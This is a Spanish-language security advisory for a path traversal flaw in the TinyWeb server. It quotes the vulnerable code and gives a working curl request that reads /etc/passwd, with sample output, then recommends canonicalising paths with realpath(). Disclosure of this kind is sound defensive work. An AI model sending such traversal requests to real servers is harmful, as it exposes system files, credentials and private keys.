
Aviso de seguridad: Path Traversal no autenticado permite la lectura arbitraria de archivos (TinyWeb)
ID de CVE asignado: CVE-2026-67185
TinyWeb construye la ruta del archivo que va a servir uniendo la raíz web con la URL de la solicitud exactamente tal como llega, sin normalización alguna. Un cliente remoto que nunca se ha autenticado puede insertar secuencias ../ en la línea de solicitud y leer cualquier archivo que el proceso del servidor pueda abrir, incluidos archivos fuera de la raíz web.
TnyWeb/0.0.80b3b5fd (2019-01-09), donde la ruta se ensambla por primera vez de esta manera, hasta a381da2 (2023-11-22, el más reciente en master).CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NUn atacante remoto no autenticado que pueda alcanzar el puerto TCP de escucha del servidor (9090 en la configuración incluida). No se requieren credenciales, interacción del usuario ni acceso previo. Una sola solicitud es suficiente.
HttpBuilder::buildResponse() comienza con la raíz web configurada y anexa el campo de ruta de la URL directamente desde la solicitud analizada:
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());
// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
unsigned int off = url->fields[HTTP_UF_PATH].offset;
unsigned int len = url->fields[HTTP_UF_PATH].len;
sdsncat(&file_path, url->data + off, len);
}
// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
return_val = file->setFile(f); // stat() + open() on the joined path
}
Entre la concatenación en la línea 86 y la llamada al sistema de archivos en la línea 94 no hay eliminación de segmentos de punto (RFC 3986, sección 5.2.4), ni canonicalización con realpath(), ni verificación de que el resultado permanezca dentro de server.www.
El analizador de URL tampoco filtra ... En HttpParser::parseUrlChar(), el estado de ruta acepta cualquier carácter que pase isUrlChar(), y . es un carácter válido en una URL, por lo que ../ llega a buildResponse() sin cambios:
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
if (isUrlChar(ch))
return s_requ_path;
HttpFile::setFile() abre y sirve la ruta resultante utilizando los privilegios del proceso del servidor:
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);
Nota: TinyWeb nunca realiza decodificación porcentual de la ruta de la URL, por lo que %2e%2e%2f no funciona. La forma literal ../ sí funciona.
Inicie el servidor con la configuración incluida (escuchando en el puerto 9090, sirviendo desde la raíz web configurada).
Envíe una solicitud cuya ruta ascienda por encima de la raíz web. La bandera --path-as-is evita que curl colapse los ../ antes de enviarla:
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
200 OK con el contenido de /etc/passwd:HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
La cantidad de segmentos ../ necesarios depende de la profundidad a la que se encuentre la raíz web. Cualquier cantidad igual o superior a la profundidad de la raíz web funciona, porque el kernel ignora .. en la raíz del sistema de archivos.
Cualquier cliente remoto puede leer cualquier archivo que el proceso del servidor tenga permitido abrir. En la configuración predeterminada, los workers se ejecutan como root, por lo que esto incluye /etc/shadow, claves privadas TLS, archivos de configuración con credenciales y el propio código fuente de la aplicación bajo la raíz web.
Canonicalice la ruta resultante con realpath() y rechace la solicitud a menos que el resultado esté dentro de la raíz web configurada. Como defensa en profundidad, elimine los segmentos de punto durante el análisis de la URL según la sección 5.2.4 de la RFC 3986 y decodifique porcentualmente la ruta antes de que se ejecute esa normalización.